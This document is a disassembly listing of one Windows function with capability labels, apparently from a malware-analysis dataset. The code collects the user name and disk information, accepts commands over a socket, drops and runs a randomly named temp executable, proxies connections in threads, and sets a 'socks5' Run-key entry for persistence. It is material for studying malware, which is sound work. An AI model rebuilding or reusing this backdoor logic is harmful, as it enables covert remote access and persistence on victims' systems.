Function at 0x140001ce7
Capabilities:
Create tcp socket
Create thread
Get common file path
Get disk information
Get session user name
Get socket status
Set socket configuration
Terminate process

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0xd88
lea rdx, [rbp - 0x38]
sub rdx, rsp
sub rsp, 0x20
lea rcx, [rsp + 0x20]
call fcn.1400034bd
add rsp, 0x20
sub rsp, 0x20
mov rcx, 0
mov rdx, 0
mov r8, 1
mov r9, 0
call qword [sym.imp.kernel32.dll_CreateEventA]
add rsp, 0x20
mov qword [rbp - 0xd48], rax
sub rsp, 0x20
mov rcx, 0
mov rdx, 0x10000
mov r8, 0x3000
mov r9, 4
call qword [sym.imp.kernel32.dll_VirtualAlloc]
add rsp, 0x20
mov qword [rbp - 0x40], rax
sub rsp, 0x20
mov rcx, 0
mov rdx, 0x10000
mov r8, 0x3000
mov r9, 4
call qword [sym.imp.kernel32.dll_VirtualAlloc]
add rsp, 0x20
mov qword [rbp - 0xa0], rax
mov rdi, qword [rbp - 0xa0]
mov qword [rdi], 0x100
sub rsp, 0x20
mov rcx, 2
lea rdx, [rdi + 0x52]
mov r8, rdi
call qword [sym.imp.secur32.dll_GetUserNameExA]
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x6f0]
mov rdx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x18]
mov r9, 0xa
call fcn.140002e02
add rsp, 0x20
test rax, rax
je 0x14000261c
sub rsp, 0x20
lea rcx, [0x140005071]
lea rdx, [rdi + 0x1c]
mov r8, 0x32
call fcn.14000365d
add rsp, 0x20
mov word [rdi + 0x4e], 1
sub rsp, 0x20
call fcn.140002c78
add rsp, 0x20
sub rax, 0x2000
test rax, rax
jle 0x140001e47
mov byte [rdi + 0x50], 2
mov byte [rdi + 0x51], 1
mov byte [rdi + 0x7b], 0
sub rsp, 0x40
mov rcx, 0
mov rdx, 0
mov r8, 0
lea r9, [rdi + 0x7c]
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
call qword [sym.imp.kernel32.dll_GetVolumeInformationA]
add rsp, 0x40
sub rsp, 0x20
lea rcx, [0x140005071]
mov rdx, 0x32
lea r8, [rdi + 0x4e]
mov r9, 0x32
call fcn.140002a3c
add rsp, 0x20
mov rax, qword [rbp - 0xa0]
add rax, 0x1c
sub rsp, 0x20
mov rcx, qword [rbp - 0x6f0]
mov rdx, rax
mov r8, 0x64
mov r9, 0
call fcn.14000271b
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x50]
lea rdx, [rbp - 0x60]
mov r8, 8
call fcn.14000365d
add rsp, 0x20
cmp qword [rbp - 0x50], 0
jne 0x14000203b
cmp qword [rbp - 0xb0], 4
je 0x14000203b
sub rsp, 0x30
mov rcx, qword [rbp - 0x6f0]
mov rdx, 0
lea r8, [rbp - 0x98]
mov r9, 0x3c
mov qword [rsp + 0x20], 0
call fcn.140002bc0
add rsp, 0x30
sub rsp, 0x30
mov rcx, 0
lea rdx, [rbp - 0x98]
mov r8, 0
mov r9, 0
lea rax, [rbp - 0x80]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ws2_32.dll_select]
add rsp, 0x30
cmp eax, 0
jl 0x14000261c
cmp rax, 0
jne 0x14000203b
cmp qword [rbp - 0xa8], 0
jne 0x14000261c
cmp qword [rbp - 0xb0], 0
jne 0x14000261c
mov qword [rbp - 0xd90], 1
inc qword [rbp - 0xdb0]
cmp qword [rbp - 0xdb0], 2
je 0x14000261c
mov qword [rbp - 0xdb8], 0
sub rsp, 0x20
lea rcx, [0x140005071]
mov rdx, 0x32
lea r8, [rbp - 0xdb8]
mov r9, 3
call fcn.140002a3c
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp - 0x6f0]
lea rdx, [rbp - 0xdb8]
mov r8, 3
mov r9, qword [rbp - 0xd48]
call fcn.14000271b
add rsp, 0x20
jmp 0x140001ef0
mov rdi, qword [rbp - 0xa0]
cmp qword [rbp - 0xa8], 0
jne 0x14000205a
cmp qword [rbp - 0xb0], 4
jne 0x140002537
cmp word [rdi + 2], 0
jne 0x1400020ac
cmp byte [rdi], 0xff
jne 0x14000207e
cmp byte [rdi + 1], 0xfe
jne 0x14000207e
mov qword [rbp - 0xd98], 1
jmp 0x14000261c
cmp byte [rdi], 0
jne 0x14000208c
cmp byte [rdi + 1], 0
jne 0x14000208c
nop
jmp 0x1400020a7
movzx ebx, byte [rdi + 1]
cmp qword [rbp + rbx*8 - 0x6f0], 0
je 0x1400020a7
mov qword [rbp + rbx*8 - 0x6f0], 0
jmp 0x140002527
cmp qword [rbp - 0x50], 0
jne 0x14000210c
sub rsp, 0x20
mov rcx, qword [rbp - 0x6f0]
mov rdx, qword [rbp - 0x40]
mov r8, 0x10000
mov r9, 0
call fcn.14000283c
add rsp, 0x20
test eax, eax
jle 0x14000261c
mov qword [rbp - 0x50], rax
mov qword [rbp - 0xdb0], 0
sub rsp, 0x20
lea rcx, [rbp - 0x40]
lea rdx, [rbp - 0x58]
mov r8, 8
call fcn.14000365d
add rsp, 0x20
mov rdx, qword [rbp - 0xa8]
movzx r12d, word [rdi + 2]
sub r12, rdx
cmp qword [rbp - 0x50], r12
ja 0x140002125
mov r12, qword [rbp - 0x50]
sub rsp, 0x20
mov rcx, qword [rbp - 0x58]
lea rdx, [rdx + rdi + 4]
mov r8, r12
call fcn.14000365d
add rsp, 0x20
add qword [rbp - 0x58], r12
sub qword [rbp - 0x50], r12
add qword [rbp - 0xa8], r12
sub rsp, 0x20
lea rcx, [rbp - 0xa8]
lea rdx, [rdi + 2]
mov r8, 2
call fcn.14000373d
add rsp, 0x20
cmp rax, 1
jne 0x140002527
movzx eax, word [rdi + 2]
sub rsp, 0x20
lea rcx, [0x140005071]
mov rdx, 0x32
lea r8, [rdi + 4]
mov r9, rax
call fcn.140002a3c
add rsp, 0x20
movzx ebx, byte [rdi + 1]
cmp word [rdi], 0xffff
jne 0x14000235e
mov rbx, qword [rbp - 0xa0]
movzx eax, word [rbx + 2]
mov byte [rax + rbx + 4], 0
sub rsp, 0x20
lea rcx, [rbx + 8]
lea rdx, [rbp - 0xd38]
call fcn.14000309e
add rsp, 0x20
cmp rax, 0x400
jle 0x140002345
mov qword [rbp - 0xd40], rax
mov rsi, qword [rbp - 0xa0]
mov word [rsi + 2], 4
sub rsp, 0x20
lea rcx, [0x140005071]
mov rdx, 0x32
lea r8, [rsi + 1]
mov r9, 3
call fcn.140002a3c
add rsp, 0x20
sub rsp, 0x20
lea rcx, [0x140005071]
mov rdx, 0x32
lea r8, [rsi + 4]
mov r9, 4
call fcn.140002a3c
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp - 0x6f0]
lea rdx, [rsi + 1]
mov r8, 7
mov r9, qword [rbp - 0xd48]
call fcn.14000271b
add rsp, 0x20
sub rsp, 0x20
mov rcx, 0x200
mov rdx, qword [rbp - 0xa0]
call qword [sym.imp.kernel32.dll_GetTempPathA]
add rsp, 0x20
lea rdi, [rax + rsi]
mov ax, 0x5c
stosb byte [rdi], al
sub rsp, 0x20
mov rcx, 4
call fcn.14000360b
add rsp, 0x20
lea rbx, [rax + 4]
sub rsp, 0x20
mov rcx, 0x18
call fcn.14000360b
add rsp, 0x20
add rax, 0x61
stosb byte [rdi], al
dec rbx
jne 0x1400022a1
mov ax, 0x2e
stosb byte [rdi], al
mov ax, 0x65
stosb byte [rdi], al
mov ax, 0x78
stosb byte [rdi], al
mov ax, 0x65
stosb byte [rdi], al
mov ax, 0
stosb byte [rdi], al
sub rsp, 0x30
mov rcx, qword [rbp - 0xa0]
mov rdx, qword [rbp - 0xd38]
mov r8, qword [rbp - 0xd40]
mov r9, 2
mov qword [rsp + 0x20], 0
call fcn.1400034f8
add rsp, 0x30
sub rsp, 0x30
mov rcx, 0
mov rdx, 0x14
mov r8, qword [rbp - 0xa0]
mov r9, 0
mov qword [rsp + 0x20], 1
mov qword [rsp + 0x28], 0
call fcn.1400010dc
add rsp, 0x30
sub rsp, 0x20
lea rcx, [rbp - 0xd38]
call fcn.140003453
add rsp, 0x20
jmp 0x14000251c
cmp byte [rdi], 0
jne 0x1400024f5
sub rsp, 0x20
mov rcx, 0
mov rdx, 0x10000
call qword [sym.imp.kernel32.dll_LocalAlloc]
add rsp, 0x20
test rax, rax
je 0x14000261c
mov rsi, rax
sub rsp, 0x20
mov rcx, rdi
mov rdx, rsi
mov r8, 0x180
call fcn.14000365d
add rsp, 0x20
lea rax, [rbp - 0xd30]
mov qword [rsi + 0x180], rax
mov qword [rsi + 0x188], rbx
sub rsp, 0x20
lea rcx, [rbp - 0xd48]
lea rdx, [rsi + 0x190]
mov r8, 8
call fcn.14000365d
add rsp, 0x20
lea rax, [rbp - 0x6f0]
mov qword [rsi + 0x198], rax
mov qword [rsi + 0x1a0], rsi
sub rsp, 0x20
lea rcx, [rbp - 0x6f0]
lea rdx, [rsi + 0x1a8]
mov r8, 8
call fcn.14000365d
add rsp, 0x20
cmp byte [rsi + 7], 4
je 0x140002442
sub rsp, 0x20
mov rcx, 2
mov rdx, 1
mov r8, 6
call qword [sym.imp.ws2_32.dll_socket]
add rsp, 0x20
jmp 0x140002465
sub rsp, 0x20
mov rcx, 0x17
mov rdx, 1
mov r8, 6
call qword [sym.imp.ws2_32.dll_socket]
add rsp, 0x20
mov qword [rsi + 0x1b0], rax
mov qword [rbp + rbx*8 - 0x6f0], rax
mov qword [rbp - 0xd50], 1
sub rsp, 0x30
mov rcx, qword [rbp + rbx*8 - 0x6f0]
mov rdx, 6
mov r8, 1
lea r9, [rbp - 0xd50]
mov qword [rsp + 0x20], 8
call qword [sym.imp.ws2_32.dll_setsockopt]
add rsp, 0x30
sub rsp, 0x30
mov rcx, 0
mov rdx, 0
lea r8, [0x140001638]
mov r9, rsi
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
call qword [sym.imp.kernel32.dll_CreateThread]
add rsp, 0x30
mov qword [rbp + rbx*8 - 0xd30], rax
jmp 0x14000251c
movzx eax, word [rdi + 2]
sub rsp, 0x20
mov rcx, qword [rbp + rbx*8 - 0x6f0]
lea rdx, [rdi + 4]
mov r8, rax
mov r9, 0
call fcn.14000271b
add rsp, 0x20
mov qword [rbp - 0xa8], 0
mov qword [rbp - 0xb0], 0
jmp 0x140002617
cmp qword [rbp - 0x50], 0
jne 0x1400025a2
sub rsp, 0x20
mov rcx, qword [rbp - 0x6f0]
mov rdx, qword [rbp - 0x40]
mov r8, 0x10000
mov r9, 0
call fcn.14000283c
add rsp, 0x20
test eax, eax
jle 0x14000261c
mov qword [rbp - 0xd90], 1
mov qword [rbp - 0x50], rax
mov qword [rbp - 0xdb0], 0
sub rsp, 0x20
lea rcx, [rbp - 0x40]
lea rdx, [rbp - 0x58]
mov r8, 8
call fcn.14000365d
add rsp, 0x20
mov r12, qword [rbp - 0xb0]
mov r13, 4
sub r13, qword [rbp - 0xb0]
cmp qword [rbp - 0x50], r13
jae 0x1400025c1
mov r13, qword [rbp - 0x50]
sub rsp, 0x20
mov rcx, qword [rbp - 0x58]
lea rdx, [r12 + rdi]
mov r8, r13
call fcn.14000365d
add rsp, 0x20
add qword [rbp - 0x58], r13
sub qword [rbp - 0x50], r13
add qword [rbp - 0xb0], r13
cmp qword [rbp - 0xb0], 4
jne 0x140002617
sub rsp, 0x20
lea rcx, [0x140005071]
mov rdx, 0x32
mov r8, rdi
mov r9, 4
call fcn.140002a3c
add rsp, 0x20
jmp 0x140001ef0
sub rsp, 0x20
mov rcx, qword [rbp - 0x6f0]
call fcn.1400028fe
add rsp, 0x20
lea rsi, [rbp - 0x6f0]
mov rbx, 0xc8
mov qword [rsi], 0
add rsi, 8
dec rbx
jne 0x14000263e
xor rax, rax
lea rdi, [rbp - 0xd30]
mov rcx, 0xc8
repe scasd eax, dword [rdi]
jne 0x14000264e
sub rsp, 0x20
mov rcx, qword [rbp - 0xd48]
call qword [sym.imp.kernel32.dll_CloseHandle]
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x40]
call fcn.140003453
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0xa0]
call fcn.140003453
add rsp, 0x20
cmp qword [rbp - 0xd98], 1
jne 0x140002700
sub rsp, 0x40
mov rcx, 0xffffffff80000001
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea r8, str.socks5
mov r9, 1
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call fcn.1400037e0
add rsp, 0x40
sub rsp, 0x20
mov rcx, 0
call qword [sym.imp.kernel32.dll_ExitProcess]
mov rax, qword [rbp - 0xd90]
add rsp, 0xd88
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret